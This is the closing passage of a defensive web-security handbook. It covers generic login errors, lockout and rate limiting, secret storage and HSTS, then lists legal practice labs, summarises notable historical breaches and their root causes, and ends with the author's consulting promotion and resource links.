# Even better: Argon2id via argon2-cffi3. Leaky auth errors → generic responses
# Vulnerable: "No account with that username" / "Incorrect password"
# Fixed: if not user or not match: return "Invalid username or password"4. Open login → lockout & rate limiting
fails = get_recent_failures(username, ip)
if fails >= 5: require_captcha_or_lock(window="15 min")
# Track per-account AND per-IP; add exponential backoff; alert on spikes.5. Secrets in code/DB → environment & vaults
# Vulnerable: API_KEY = "sk_live_abc123..." (leaks via .git, backups, DB dumps)
# Fixed:
import os
API_KEY = os.environ["API_KEY"]
# Production: pull from a vault/KMS. Encrypt TOTP seeds at rest.6. HTTP / weak transport → HTTPS + HSTS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Redirect all HTTP -> HTTPS at the edge; disable old TLS versions/ciphers.The unifying principle: never trust input, never mix secrets with data, never reveal more than necessary, and make the expensive-for-attackers path the default.
Where to Practice (Legally) & Keep Learning
Deliberately vulnerable apps: OWASP Juice Shop, DVWA, Metasploitable, WebGoat.
Online ranges & challenges: TryHackMe, Hack The Box, PortSwigger Web Security Academy.
Reference & staying current: OWASP (Top 10, cheat sheets), MITRE ATT&CK, Have I Been Pwned, CISA & national CERT advisories, vendor incident-response reports.
A healthy practice loop: learn a technique in a guided lab → reproduce it against your own vulnerable VM → fix it and confirm the attack no longer works → run the same tool against your real systems (in scope) to verify you're not exposed.
Appendix — a compendium of notable breaches
| Breach | Year | Technique | Core failure |
|---|---|---|---|
| Heartland | 2008 | SQL injection | Unparameterized queries; ~130M cards |
| Sony PSN | 2011 | SQLi / weak controls | No firewalls in places; ~77M accounts |
| Yahoo! Voices | 2012 | Union-based SQLi | ~450K passwords unencrypted |
| 2012 | Hash cracking | Unsalted SHA-1; 117M+ by 2016 | |
| Sony Pictures | 2014 | Spear phishing | Credential theft; plaintext password files |
| TalkTalk | 2015 | SQL injection | Unpatched SQLi; ~157K customers |
| Mirai / Dyn | 2016 | IoT botnet DDoS | Default device passwords; ~1.2 Tbps |
| Equifax | 2017 | Unpatched web vuln | Known flaw left unpatched; ~143M people |
| SamSam | 2018 | RDP brute force | Exposed RDP, weak credentials, no lockout |
| Marriott/Starwood | 2014–18 | Mixed (incl. injection) | 4 years undetected; ~500M guests |
| Binance | 2019 | Phishing + 2FA bypass | Look-alike domains captured OTPs |
| Kaseya VSA | 2021 | Unpatched SQLi-class | Supply-chain ransomware; 1,500+ clients |
The pattern across every entry: almost none were unstoppable zero-days. They were unparameterized queries, unpatched flaws, weak or default passwords, plaintext secrets, missing MFA, absent monitoring, and untrained users — the exact issues this handbook addresses. The giants fell to the same mistakes that threaten the smallest startup. The encouraging part: the fixes are known, documented, and within your reach.
Stay curious. Stay ethical. Build the wall.
Related reading
- The Complete Linux Server Security Guide — SSH Keys, Fail2Ban & Beyond — the host-level hardening playbook from a real Contabo compromise + recovery.
- Securing Your First VPS (and Installing Dokploy) — the one-script setup that closes most of the Tier-1 doors on a fresh server.
- Sentinel v2 + Pulse v1 Migration Guide — wire the WAF + IP auto-ban + admin alerting layer into your Go API.
- The Beginner's Handbook to k6 Load Testing — once you've shut the security doors, prove the system holds under traffic.
- Top Go Developers in Uganda — 2026 Rankings — context on the team and the open-source security stack (Sentinel, Pulse, Grit) that powers this defensive engineering.
Need help hardening your stack?
I run paid engagements walking teams through this exact checklist — Tier 1 audit, then code review against the SQLi / hashing / 2FA / secrets-storage layers, then wiring WAF + auto-ban + admin alerting into production.
- 📞 Book a session — 1-on-1 security audit, code review, or paired hardening. Sessions from UGX 50,000.
- 💼 Hire Desishub for full security engineering + observability work — desishub.com
- 📺 YouTube — practical security tutorials at @JBWEBDEVELOPER
- 💻 Sentinel (WAF + threat detection for Go): github.com/MUKE-coder/sentinel
- 💬 WhatsApp JB: +256 762 063 160
Resources
- OWASP Top 10: owasp.org/Top10
- Have I Been Pwned: haveibeenpwned.com
- SecLists wordlists: github.com/danielmiessler/SecLists
- Nmap: nmap.org
- Burp Suite: portswigger.net/burp
- Metasploit: metasploit.com
- MITRE ATT&CK: attack.mitre.org
- PortSwigger Web Security Academy: portswigger.net/web-security
- Argon2 reference: github.com/P-H-C/phc-winner-argon2
- Sentinel (JB's Go security SDK): github.com/MUKE-coder/sentinel

